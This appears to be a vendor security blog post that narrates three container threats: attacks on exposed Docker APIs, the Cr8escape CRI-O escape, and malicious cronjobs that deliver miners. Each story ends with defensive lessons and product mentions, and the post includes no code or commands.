Playing Docker? Bad Containers and What They Teach Us
Reading a good threat report is like reading a novel. We always appreciate a good story. That’s why we figured that discussing containers’ security might take us long enough to get you bored. And we’re sure that good boys and girls like you know all about proper container hygiene like image scanning, registry updates, and security policies, so you don’t need us to remind you of that.
Instead, let’s pour a little something into our cups (or glasses 🥃), get ourselves comfortable, and hear a good story. Of course, as a Cyber Threat Search Engine user, you can afford that short time of complete relaxation, knowing that those container vulnerabilities are covered with appropriate detections. But, the question is: are you calling the attackers’ bluff when you’re actively using containers, and they seem to be working smoothly?
Story 1. Cyber Threats and Where to Find Them
Once upon a time, container security researchers launched a honeypot based on communication through Docker remote API (ports 2375 and 2376). It was attacked within the first three hours. Not only did the malware spread and evolve inside the network with unprecedented speed, but also the frequency of such attacks got to 10–20 a day.
🕵 Malicious image deployment was spotted at the time when the interaction with the Docker API was active. The root system, in most cases, was Linux-based. Looks like Linux is one love, especially for crypto miners, privilege escalators, and DoS aficionados.
Lesson Learned: GET Your API Together
Docker API and nearly two-thirds of containers’ code that usually works with third-party API are attacked fiercely, despite available patches and preventive security controls. Take care of your cloud configurations to avoid exposing Docker API to the internet, which leads to adversary-controlled containers.
Other container security solutions depend on your particular context. It can be using HTTPS, monitoring HTTP headers, enhancing authentication requirements, blocking suspicious requests, or monitoring and restricting input and output to avoid receiving or returning excessive data. Beyond HTTP, there are also API payloads to monitor: XML or JSON markup, cookies, and query strings. Some people even start with WAF and backend protection to eliminate the possibility of SQL injections which exploit the fact that many API calls result in database calls. We know that the whole thing sounds like a lot of pain, but eventually, it proves its worth.
Story 2. Breakout: Cr8escape and How it Happens
Cr8escape vulnerability discovered by CrowdStrike is all about the good old attackers’ goals: lateral movement, execution, and data exfiltration. All that is possible if the malware escapes from a Kubernetes container and gets to the root by exploiting a vulnerability in the CRI-O runtime engine.
Turns out, there was a small weak spot in CRI-O version 1.19 that allowed adversaries to exploit the rights to deploy a pod on a CRI-O runtime’s cluster in Kubernetes and mess with arbitrary kernel parameters. As a result of using a pinns utility, they could execute malicious code as root in any node on the cluster.
Lesson Learned: Isolate and Restrict
Since Linux gets the most hits lately, you might try to enable SELinux in your containers to restrict the processes inside a container from overwriting the host binary. For storing host binaries like docker-runc, you can use read-only files. And, of course, namespace users so that they won’t be able to write access to runc binary. Another life hack is to enforce policies that block pods with sysctl settings that include “+” or “=”. And the cherry on top: run Docker daemon in a rootless mode to avoid potential root vulnerabilities while securing the traffic between the registry and daemon with certificate-based client-server authentication. More on Docker security tips and tricks you can read here.
Story 3. Business & Pleasure: Cronjobs and Bash Scripts
Now, let’s pretend the attacker bypasses cloud container security and tries to install further payloads. CronJob objects, which are poetically named after a Greek time god Chronos, can hide within malicious containers and deliver trouble once they run 🏃. It can be crypto mining, reverse shells for reconnaissance, or both. Seems like attackers like to mix business (data exfiltration) with pleasure (free crypto coins). And don’t forget that while it seems that nothing is wrong with your containers, malicious images might deploy automatically, and you might be DoSing some websites as part of compromised infrastructure without even knowing it.
So, upon starting, these malicious cronjobs usually download another bash file which is the main payload. But before it begins mining crypto or does other evil things it’s programmed to do, a few interesting steps happen:
- IOC paths are deleted
- Selected processes are killed (based on the name criteria)
- Known daemons are killed (by using process IDs)
- Competing network connections are killed
- Cloud defense (like aliyun service) is disabled
- Scan for SSH keys is performed and found keys are exploited
After that, the main payload launches itself and starts execution.
Lesson Learned: Watch Processes
Monitoring processes in real-time makes your containers’ security accurate and actionable. Container security software 101: start by using Kubernetes built-in features and enhance by continuously deploying the newest detections found at SOC Prime’s Detection as Code platform. Deployments of new rules can be easily automated by using our CCM module. And don’t forget about Docker Content Trust (DCT), which allows using digital signatures on data sent and received.
The fanciest attacks today are so sophisticated that they can do whatever they want in container infrastructure, staying practically unnoticed. Just because you’re not detecting anything doesn’t mean that nothing is wrong and you’re perfectly safe. So don’t be shy to put some extra layers of protection, keep up with container vulnerability management, and monitor what’s happening in virtualized environments. Chances are, you’ll find many interesting insights that will help you strengthen your cyber posture.
